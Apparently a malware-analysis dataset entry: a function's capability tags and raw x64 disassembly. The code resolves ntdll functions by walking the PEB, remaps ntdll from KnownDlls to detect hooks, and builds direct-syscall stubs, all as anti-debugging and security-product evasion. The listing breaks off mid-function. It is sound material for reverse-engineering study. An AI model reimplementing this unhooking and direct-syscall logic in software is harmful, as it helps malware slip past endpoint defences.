Function at 0x140049d10
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Check if file exists
Check os version
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get number of processors
Hash data using crc32b
Inspect section memory permissions
Parse pe header
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0xb60]
sub rsp, 0xc60
mov rax, qword [0x14006c010]
xor rax, rsp
mov qword [rbp + 0xb50], rax
mov rax, qword gs:[0x60]
xor ebx, ebx
mov edi, ebx
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x20]
add rdx, 0x20
cmp rax, rdx
je 0x140049d74
cmp qword [rax + 0x50], rbx
jne 0x140049d70
mov rax, qword [rax]
cmp rax, rdx
jne 0x140049d60
jmp 0x140049d74
lea rdi, [rax - 0x10]
mov rdi, qword [rdi + 0x30]
lea r15, [0x14009d70c]
mov qword [rbp + 0x20], rdi
mov r13, rbx
mov dword [rbp + 0x10], ebx
mov qword [rsp + 0xc90], r12
movsxd rcx, dword [rdi + 0x3c]
add rcx, rdi
mov qword [rsp + 0x60], rcx
movzx r14d, word [rcx + 0x14]
add r14, rcx
mov ecx, ebx
mov qword [rbp + 0x18], r14
nop dword [rax + rax]
mov eax, dword [r14 + r13 + 0x3c]
and eax, 0xc0000000
cmp eax, 0x40000000
jne 0x14004a315
mov edx, dword [r14 + r13 + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x14004a1c1
mov rcx, qword gs:[0x60]
mov r14, rbx
mov rsi, qword [rcx + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140049e2c
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140049e1e
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140049e28
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140049e04
jmp 0x140049e2c
lea r14, [rdi - 0x10]
mov rdi, qword [r14 + 0x30]
test rdi, rdi
je 0x140049ee0
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x140049ee0
mov eax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140049ee0
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140049ee0
mov r10d, dword [rax + 0x20]
xor ecx, ecx
mov ebx, dword [rax + 0x24]
add r10, rdi
mov esi, dword [rax + 0x1c]
add rbx, rdi
mov r11d, dword [rax + 0x14]
add rsi, rdi
mov r9d, ecx
mov r8d, ecx
test r11d, r11d
je 0x140049ee0
lea r14, str.NtReadVirtualMemory
nop
mov ecx, dword [r10 + r8*4]
mov rax, r14
add rcx, rdi
je 0x140049ed5
movzx edx, byte [rcx]
cmp dl, 0x4e
jne 0x140049ec7
sub rcx, r14
test dl, dl
je 0x140049ebe
cmp byte [rax], 0
je 0x140049ec7
movzx edx, byte [rcx + rax + 1]
inc rax
cmp dl, byte [rax]
je 0x140049ea7
jmp 0x140049ec7
cmp byte [rax], 0
je 0x14004a04c
movsx ecx, byte [rax]
movsx eax, dl
cmp eax, ecx
je 0x14004a04c
inc r9d
inc r8
cmp r9d, r11d
jb 0x140049e90
mov r14, qword [rbp + 0x18]
mov edx, 0x20
mov ecx, 0x4c11db7
mov edi, 0xffffffff
mov esi, dword [r14 + r13 + 0x24]
add rsi, qword [rbp + 0x20]
mov qword [r15 - 0xc], rsi
mov eax, dword [r14 + r13 + 0x20]
mov dword [r15 - 4], eax
mov ebx, dword [r14 + r13 + 0x20]
call fcn.140055950
mov r8d, eax
test rbx, rbx
je 0x140049fac
nop
movzx ecx, byte [rsi]
lea rsi, [rsi + 1]
xor edi, ecx
mov edx, r8d
mov ecx, edi
shr ecx, 1
xor edx, ecx
and dil, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, r8d
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, r8d
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, r8d
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
mov ecx, r8d
cmove edx, eax
mov eax, edx
shr eax, 1
xor ecx, eax
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov edi, eax
xor edi, r8d
and dl, 1
cmove edi, eax
sub rbx, 1
jne 0x140049f20
mov rdx, qword [r15 - 0xc]
not edi
mov dword [r15], edi
mov edi, 0xffff
mov r9d, dword [r14 + r13 + 0x20]
mov r8d, edi
test r9, r9
je 0x14004a010
mov r14d, 0x167
nop dword [rax]
cmp r9, r14
mov ecx, r9d
cmova ecx, r14d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x140049fe0
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x140049fd0
mov r14, qword [rbp + 0x18]
mov ecx, edi
movzx eax, di
mov rdi, qword [rbp + 0x20]
mov edx, r8d
and edx, 0xffff0000
shr ecx, 0x10
shl r8d, 0x10
add ecx, eax
add edx, r8d
or edx, ecx
xor ebx, ebx
mov dword [r15 + 4], edx
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14004a312
movzx eax, word [rbx + r8*2]
mov r10d, dword [rsi + rax*4]
add r10, rdi
je 0x140049ee0
mov r14, qword [rbp + 0x18]
xor ebx, ebx
mov rdi, qword [rbp + 0x20]
mov r8, r12
mov qword [rsp + 0x20], rbx
mov edx, dword [r14 + r13 + 0x24]
lea rcx, [rbx - 1]
mov r9d, dword [r14 + r13 + 0x20]
add rdx, rdi
call r10
test eax, eax
js 0x14004a036
mov eax, dword [r14 + r13 + 0x24]
mov edx, 0x20
add rax, rdi
mov ecx, 0x4c11db7
mov qword [r15 - 0xc], rax
mov edi, 0xffffffff
mov eax, dword [r14 + r13 + 0x20]
mov rsi, r12
mov dword [r15 - 4], eax
mov ebx, dword [r14 + r13 + 0x20]
call fcn.140055950
mov r8d, eax
test rbx, rbx
je 0x14004a15c
nop word [rax + rax]
movzx ecx, byte [rsi]
lea rsi, [rsi + 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, ecx
xor edx, r8d
and dil, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, r8d
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, r8d
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, r8d
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
mov ecx, r8d
cmove edx, eax
mov eax, edx
shr eax, 1
xor ecx, eax
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, r8d
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov edi, eax
xor edi, r8d
and dl, 1
cmove edi, eax
sub rbx, 1
jne 0x14004a0d0
not edi
mov rdx, r12
mov dword [r15], edi
mov edi, 0xffff
mov r9d, dword [r14 + r13 + 0x20]
mov r8d, edi
test r9, r9
je 0x14004a010
mov r14d, 0x167
cmp r9, r14
mov ecx, r9d
cmova ecx, r14d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14004a190
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14004a180
jmp 0x14004a00c
mov esi, dword [r14 + r13 + 0x24]
mov edx, 0x20
add rsi, rdi
mov ecx, 0x4c11db7
mov qword [r15 - 0xc], rsi
mov edi, 0xffffffff
mov eax, dword [r14 + r13 + 0x20]
mov dword [r15 - 4], eax
mov ebx, dword [r14 + r13 + 0x20]
call fcn.140055950
mov r8d, eax
test rbx, rbx
je 0x14004a28c
nop dword [rax + rax]
movzx ecx, byte [rsi]
lea rsi, [rsi + 1]
xor edi, ecx
mov edx, r8d
mov ecx, edi
shr ecx, 1
xor edx, ecx
and dil, 1
mov edi, r8d
cmove edx, ecx
mov ecx, r8d
mov eax, edx
shr eax, 1
xor ecx, eax
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
mov ecx, r8d
cmove edx, eax
mov eax, edx
shr eax, 1
xor ecx, eax
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
mov ecx, r8d
cmove edx, eax
mov eax, edx
shr eax, 1
xor ecx, eax
and dl, 1
mov edx, r8d
cmove ecx, eax
mov eax, ecx
shr eax, 1
xor edx, eax
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
xor edi, eax
and dl, 1
cmove edi, eax
sub rbx, 1
jne 0x14004a200
mov rdx, qword [r15 - 0xc]
not edi
mov dword [r15], edi
mov edi, 0xffff
mov r9d, dword [r14 + r13 + 0x20]
mov r8d, edi
test r9, r9
je 0x14004a2ec
mov r10d, 0x167
nop dword [rax]
cmp r9, r10
mov ecx, r9d
cmova ecx, r10d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14004a2c0
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14004a2b0
mov edx, r8d
movzx eax, di
and edx, 0xffff0000
shl r8d, 0x10
mov ecx, edi
add edx, r8d
mov rdi, qword [rbp + 0x20]
shr ecx, 0x10
add ecx, eax
or edx, ecx
mov dword [r15 + 4], edx
xor ebx, ebx
mov ecx, dword [rbp + 0x10]
mov rax, qword [rsp + 0x60]
inc ecx
add r13, 0x28
mov dword [rbp + 0x10], ecx
add r15, 0x18
movzx eax, word [rax + 6]
cmp ecx, eax
jle 0x140049db0
mov r15, qword gs:[0x60]
mov rax, qword [r15 + 0x18]
add rax, 0x20
mov rsi, qword [rax]
cmp rsi, rax
je 0x14004a3ce
cmp qword [rsi + 0x50], 0
je 0x14004a3b9
mov rax, qword [rsi + 0x20]
mov edi, ebx
movsxd r14, dword [rax + 0x3c]
add r14, rax
movzx eax, word [r14 + 0x14]
lea rbx, [r14 + 0x24]
add rbx, rax
mov ecx, dword [rbx]
lea rdx, [rbp + 0x80]
add rcx, qword [rsi + 0x20]
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14004a3aa
cmp dword [rbp + 0xa0], 0x1000
jne 0x14004a3aa
test dword [rbp + 0xa4], 0x100
jne 0x14004c8b8
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jle 0x14004a370
mov rax, qword [r15 + 0x18]
mov ebx, 0
mov rsi, qword [rsi]
add rax, 0x20
cmp rsi, rax
jne 0x14004a350
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004a418
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004a40a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004a414
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004a3f0
jmp 0x14004a418
lea r14, [rdi - 0x10]
mov rdx, qword [r14 + 0x30]
mov r12d, 0x5a4d
test rdx, rdx
je 0x14004a4c5
cmp word [rdx], r12w
jne 0x14004a4c5
mov eax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14004a4c5
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
je 0x14004a4c5
mov edi, dword [rax + 0x20]
mov r9d, r15d
mov r8d, dword [rax + 0x24]
add rdi, rdx
mov r10d, dword [rax + 0x1c]
add r8, rdx
mov r11d, dword [rax + 0x14]
add r10, rdx
test r11d, r11d
je 0x14004a4c5
mov eax, dword [rdi]
cmp byte [rax + rdx], 0x4e
jne 0x14004a4b5
cmp byte [rax + rdx + 1], 0x74
jne 0x14004a4b5
movzx eax, word [r8]
mov ecx, dword [r10 + rax*4]
cmp byte [rcx + rdx], 0x4c
jne 0x14004a4a3
cmp byte [rcx + rdx + 1], 0x8b
jne 0x14004a4a3
cmp byte [rcx + rdx + 2], 0xd1
jne 0x14004a4a3
cmp byte [rcx + rdx + 3], 0xb8
je 0x14004a4b5
cmp byte [rcx + rdx + 0x12], 0xf
jne 0x14004a4b5
cmp byte [rcx + rdx + 0x13], 5
je 0x14004c8bb
inc r9d
add rdi, 4
add r8, 2
cmp r9d, r11d
jb 0x14004a471
mov rax, qword gs:[0x60]
mov r11, r15
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x20]
add rdx, 0x20
cmp rax, rdx
je 0x14004a4f6
cmp qword [rax + 0x50], r15
jne 0x14004a4f2
mov rax, qword [rax]
cmp rax, rdx
jne 0x14004a4e2
jmp 0x14004a4f6
lea r11, [rax - 0x10]
mov r11, qword [r11 + 0x30]
mov r10, r15
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
movzx ebx, word [rcx + 0x14]
movzx r14d, word [rcx + 6]
add rbx, rcx
lea rsi, [rbx + 0x3c]
mov r8, rsi
nop word [rax + rax]
mov edi, dword [r8 - 0x18]
mov eax, dword [r8]
add rdi, r11
and eax, 0xe0000000
cmp eax, 0x60000000
jne 0x14004a577
mov rax, r8
lea rcx, [rdi + 2]
sub rax, rsi
mov rdx, 0xfffffffffffffffe
sub rdx, rdi
mov r9d, dword [rax + rbx + 0x20]
nop
cmp byte [rcx - 2], 0xf
jne 0x14004a56b
cmp byte [rcx - 1], 0xb
jne 0x14004a56b
cmp byte [rcx], r15b
je 0x14004a56b
cmp byte [rcx + 1], r15b
jne 0x14004c8bb
inc rcx
lea rax, [rdx + rcx]
cmp rax, r9
jbe 0x14004a550
inc r10
add r8, 0x28
cmp r10, r14
jle 0x14004a520
xor eax, eax
mov qword [rsp + 0x60], r15
lea rdi, [rbp + 0x310]
mov dword [rbp + 0x1d0], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x1d4], 0xd18b4c00
rep stosb byte [rdi], al
lea rax, [rbp + 0x310]
mov word [rbp + 0x1d8], 0x50f
mov byte [rbp + 0x1da], 0xc3
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x48], r15
mov dword [rbp - 0x7c], r15d
mov dword [rbp - 0x64], r15d
cmp word [rbp + 0x310], r15w
je 0x14004a5eb
add rax, 2
cmp word [rax], r15w
jne 0x14004a5e1
mov r13d, 0x5c
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x14004a600
mov word [rax], r15w
lea rax, [rbp + 0x310]
cmp word [rbp + 0x310], r15w
je 0x14004a62f
add rax, 2
cmp word [rax], r15w
jne 0x14004a625
lea rdx, [0x14005feb0]
mov ecx, 0x6e
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x14004a640
mov word [rax], r15w
lea rcx, [rbp + 0x310]
mov eax, r15d
cmp word [rbp + 0x310], r15w
je 0x14004a67c
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x14004a670
add ax, ax
mov dword [rbp - 0x80], 0x30
mov word [rbp + 0x30], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x78], r15
mov word [rbp + 0x32], ax
lea rax, [rbp + 0x310]
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x30]
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x68], 0x40
mov qword [rbp - 0x70], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004a708
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004a6fa
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004a704
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004a6e0
jmp 0x14004a708
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
test r9, r9
je 0x14004a7a7
cmp word [r9], r12w
jne 0x14004a7a7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004a7a7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004a7a7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004a7a7
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004a79b
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004a791
sub rax, rsi
test dl, dl
je 0x14004a78c
cmp byte [rcx], r15b
je 0x14004a791
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004a775
jmp 0x14004a791
cmp byte [rcx], r15b
je 0x14004a7ea
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004a7ea
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004a760
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004a7ff
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004a7e0
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004a7fb
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004a7c6
jmp 0x14004a7ff
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14004a7aa
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x14004a8a7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004a8a7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004a8a7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004a8a7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004a8a7
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004a89b
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004a891
sub rax, rsi
test dl, dl
je 0x14004a88c
cmp byte [rcx], r15b
je 0x14004a891
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004a875
jmp 0x14004a891
cmp byte [rcx], r15b
je 0x14004a8e7
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004a8e7
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004a860
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004a8fc
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004a8dd
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004a8f8
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004a8c3
jmp 0x14004a8fc
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14004a8aa
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
lea rsi, str.NtClose
test r9, r9
je 0x14004aa32
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004aa32
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004aa32
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004aa32
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x14004aa35
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004a9ab
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004a9a1
sub rax, rsi
test dl, dl
je 0x14004a99c
cmp byte [rcx], r15b
je 0x14004a9a1
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004a985
jmp 0x14004a9a1
cmp byte [rcx], r15b
je 0x14004a9b9
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004a9b9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004a970
jmp 0x14004aa35
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14004aa35
test r14, r14
je 0x14004aa35
test r12, r12
je 0x14004aa35
lea r8, [rbp - 0x80]
mov edx, 4
lea rcx, [rbp + 0x18]
call r12
test eax, eax
js 0x14004aa35
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x48]
mov dword [rsp + 0x48], 2
lea r8, [rbp + 0x20]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call r14
test eax, eax
js 0x14004aa35
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14004aa35
call rdi
jmp 0x14004aa35
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004aa79
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004aa6b
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004aa75
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004aa51
jmp 0x14004aa79
lea r14, [rdi - 0x10]
mov r10, qword [rbp + 0x20]
lea r12, str.NtQueryInformationProcess
mov esi, 0x16
lea ebx, [rsi + 3]
lea edi, [rsi + 1]
test r10, r10
je 0x14004ac2e
mov r11, qword [r14 + 0x30]
test r11, r11
je 0x14004ac2e
mov r14d, 0x5a4d
cmp word [r10], r14w
jne 0x14004ab3f
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14004ab3f
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14004ab3f
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r10
mov esi, dword [rax + 0x1c]
add rbx, r10
mov r9d, dword [rax + 0x14]
add rsi, r10
test r9d, r9d
je 0x14004ab3f
nop
mov eax, dword [rdi]
mov rcx, r12
add rax, r10
je 0x14004ab33
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004ab25
sub rax, r12
test dl, dl
je 0x14004ab1c
cmp byte [rcx], 0
je 0x14004ab25
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004ab05
jmp 0x14004ab25
cmp byte [rcx], 0
je 0x14004abbf
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004abbf
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x14004aaf0
mov r9, r15
cmp word [r11], r14w
jne 0x14004abed
mov eax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14004abed
mov eax, dword [rax + r11 + 0x88]
add rax, r11
je 0x14004abed
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, r11
mov r14d, dword [rax + 0x1c]
add rsi, r11
mov ebx, dword [rax + 0x14]
add r14, r11
test ebx, ebx
je 0x14004abed
lea r12, str.ZwUnmapViewOfSection
mov eax, dword [rdi]
mov rcx, r12
add rax, r11
je 0x14004abe1
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004abd7
sub rax, r12
test dl, dl
je 0x14004abd2
cmp byte [rcx], 0
je 0x14004abd7
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004aba8
jmp 0x14004abd7
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov r9d, dword [rsi + rcx*4]
add r9, r10
jmp 0x14004ab42
cmp byte [rcx], 0
je 0x14004ac03
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004ac03
inc r8d
add rdi, 4
cmp r8d, ebx
jb 0x14004ab93
mov rax, r15
mov rdx, r10
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x14004ac13
call rax
jmp 0x14004ac23
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14004abf0
movzx ebx, word [r9 + 4]
call rax
mov word [rbp + 0x10], bx
test bx, bx
jne 0x14004ac71
mov esi, 0x16
lea ebx, [rsi + 3]
lea edi, [rsi + 1]
lea rcx, str.____Cant_get_syscall_auto__n
call fcn.140045cc0
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14004ac6d
cmp al, 6
jne 0x14004ac6a
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004ac6a
sub ecx, 1
je 0x14004ac65
cmp ecx, 1
jne 0x14004ac6d
lea ebx, [rcx + 0x17]
jmp 0x14004ac6d
movzx ebx, di
jmp 0x14004ac6d
movzx ebx, si
mov word [rbp + 0x10], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r14d, 0xb
test rax, rax
je 0x14004adb0
lea rcx, [rbp + 0x1d1]
lea rax, [rbp + 0x10]
cmp rcx, rax
jbe 0x14004acb3
lea rcx, [rbp + 0x1d1]
lea rax, [rbp + 0x12]
movzx eax, byte [rbp + 0x11]
lea rcx, [rbp + 0x1d0]
mov byte [rbp + 0x1d2], al
mov byte [rbp + 0x1d1], bl
cmp rdi, rcx
jbe 0x14004ad00
lea rcx, [rbp + 0x1db]
cmp rdi, rcx
jae 0x14004ad00
lea rcx, [rdi + 0xa]
mov rdx, r14
movzx eax, byte [rbp + rdx + 0x1cf]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x14004ace2
jmp 0x14004ad17
mov byte [rdi], 0xb8
mov byte [rdi + 1], bl
mov byte [rdi + 2], al
mov dword [rdi + 3], 0x8b4c0000
mov dword [rdi + 7], 0xc3050fd1
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
lea edx, [r9 - 1]
call rdi
lea rbx, [rbp + 0x1d0]
mov esi, eax
sub rbx, rdi
mov r11, r14
mov r9, rdi
nop word [rax + rax]
movzx r8d, byte [r9]
movzx r10d, byte [r9 + rbx]
lea ecx, [r8 - 0x61]
cmp ecx, 0x19
lea edx, [r8 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r8d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x14004ad86
inc r9
sub r11, 1
jne 0x14004ad50
jmp 0x14004ad8f
cmp r8d, r10d
jne 0x14004c8bb
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
js 0x14004adb0
cmp qword [rsp + 0x60], 0
jne 0x14004c8bb
xor eax, eax
mov dword [rbp + 0x14], r15d
lea rdi, [rbp + 0x520]
mov dword [rbp + 0x1e0], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x1e4], 0xd18b4c00
rep stosb byte [rdi], al
cmp word [rbp + 0x520], 0
lea rax, [rbp + 0x520]
mov word [rbp + 0x1e8], 0x50f
mov byte [rbp + 0x1ea], 0xc3
mov qword [rsp + 0x60], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x48], r15
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 4], r15d
je 0x14004ae1a
nop
add rax, 2
cmp word [rax], 0
jne 0x14004ae10
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14004ae30
mov word [rax], r15w
lea rax, [rbp + 0x520]
cmp word [rbp + 0x520], cx
je 0x14004ae5e
add rax, 2
